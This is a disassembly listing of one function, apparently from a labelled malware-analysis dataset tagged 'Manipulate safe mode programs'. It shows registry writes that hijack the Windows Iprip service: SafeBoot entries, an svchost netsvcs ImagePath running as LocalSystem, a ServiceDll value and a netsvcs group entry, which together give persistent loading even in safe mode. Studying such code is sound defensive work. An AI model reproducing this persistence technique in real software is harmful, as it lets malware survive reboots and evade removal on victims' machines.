Function at 0x10003d49
Capabilities:
Manipulate safe mode programs

Disassembly:
mov eax, 0x1000d0ba
call fcn.10007e8c
sub esp, 0x4d0
lea ecx, [ebp - 0x454]
call fcn.100068c4
and dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.10001000
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.10001000
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.10001000
mov byte [ebp - 4], 3
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push str.ControlSafeBootMinimalIprip_
push 0x100119a0
lea eax, [ebp - 0x464]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4a4], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x4a4]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x464]
call fcn.100010fa
push 0x100108c4
push 0x10011ae8
lea ecx, [ebp - 0x454]
call fcn.10006993
push str.Service
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
je 0x10003e41
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006892
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003e54
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
push str.ControlSafeBootNetworkIprip_
push 0x100119a0
lea eax, [ebp - 0x46c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x4ac], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x4ac]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x46c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
je 0x10003ed6
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006892
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003ee9
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
push str.ServicesIprip_
push 0x100119a0
lea eax, [ebp - 0x474]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4b4], eax
mov byte [ebp - 4], 6
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x45c]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x474]
call fcn.100010fa
lea ecx, [ebp - 0x45c]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
push 0x10010904
push str.ErrorControl
lea ecx, [ebp - 0x454]
call fcn.10006993
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
test eax, eax
je 0x10003f7f
cmp dword [ebp - 0x18], 1
je 0x10003fe5
movzx eax, word [ebp - 0x30]
add eax, 0x5b95a95c
xor eax, 0x853ec5bb
cmp dword [ebp - 0x18], eax
jne 0x10003fcd
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.10006940
jmp 0x10004544
mov dword [ebp - 0x18], 1
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
push str._SystemRoot_System32_svchost.exe__k_netsvcs
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001094c
push str.ImagePath
lea ecx, [ebp - 0x454]
call fcn.10006993
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
je 0x10004034
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006892
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004047
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
push str.LocalSystem
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001096c
push str.ObjectName
lea ecx, [ebp - 0x454]
call fcn.10006993
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
je 0x10004096
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006892
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x100040a9
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
push 0x10010980
push str.Start
lea ecx, [ebp - 0x454]
call fcn.10006993
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
test eax, eax
je 0x100040d9
cmp dword [ebp - 0x18], 2
je 0x100040f1
mov dword [ebp - 0x18], 2
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
push 0x10010990
push str.Type
lea ecx, [ebp - 0x454]
call fcn.10006993
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
test eax, eax
je 0x10004121
cmp dword [ebp - 0x18], 0x20
je 0x10004139
mov dword [ebp - 0x18], 0x20
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
push 0x100109a0
push str.DeleteFlag
lea ecx, [ebp - 0x454]
call fcn.10006993
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
test eax, eax
je 0x1000416e
lea ecx, [ebp - 0x454]
call fcn.10006e80
push str.Parameters_
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x4bc], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x4bc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x47c]
call fcn.100010fa
push 0x100119f0
push 0x10011a20
lea eax, [ebp - 0x484]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
mov byte [ebp - 4], 8
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x484]
call fcn.100010fa
push 0x100109c0
push str.ServiceDll
lea ecx, [ebp - 0x454]
call fcn.10006993
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
je 0x10004253
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006892
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004279
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
cmp dword [0x10011aa8], 0
je 0x10004279
mov dword [0x10011aa4], 1
push str.InprocServer32_
push 0x10011a38
lea eax, [ebp - 0x48c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4c8], eax
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x4cc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48c]
call fcn.100010fa
push 0x100109e4
push 0x10011aec
lea ecx, [ebp - 0x454]
call fcn.10006993
cmp dword [0x10011a00], 1
jne 0x1000433a
push 0x100119e0
push 0x10011a20
lea eax, [ebp - 0x494]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x4d4], eax
mov byte [ebp - 4], 0xa
push dword [ebp - 0x4d4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x494]
call fcn.100010fa
jmp 0x10004386
push 0x100119d8
push 0x10011a20
lea eax, [ebp - 0x49c]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x4dc], eax
mov byte [ebp - 4], 0xb
push dword [ebp - 0x4dc]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x49c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
je 0x100043b3
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006892
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x100043d9
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
cmp dword [0x10011aa8], 0
je 0x100043d9
mov dword [0x10011aa4], 1
mov ecx, 0x100119d0
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
push 0x100109ec
push str.Flags
lea ecx, [ebp - 0x454]
call fcn.10006993
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
test eax, eax
je 0x1000441f
cmp dword [ebp - 0x18], 0
je 0x10004434
and dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d88
mov ecx, 0x10011a58
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
push 0x100109fc
push 0x10011af0
lea ecx, [ebp - 0x454]
call fcn.10006993
push 0x10011af4
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
jne 0x10004496
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
mov ecx, 0x10011998
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.100069ba
push 0x10010a04
push str.netsvcs
lea ecx, [ebp - 0x454]
call fcn.10006993
push 2
push 1
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
test eax, eax
je 0x1000450e
push 0x10010a14
lea ecx, [ebp - 0x20]
call fcn.100014ae
test eax, eax
jge 0x1000450e
push str.Iprip
push 0x10010a28
lea ecx, [ebp - 0x20]
call fcn.10001a26
push 2
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a9b
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.10006940
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret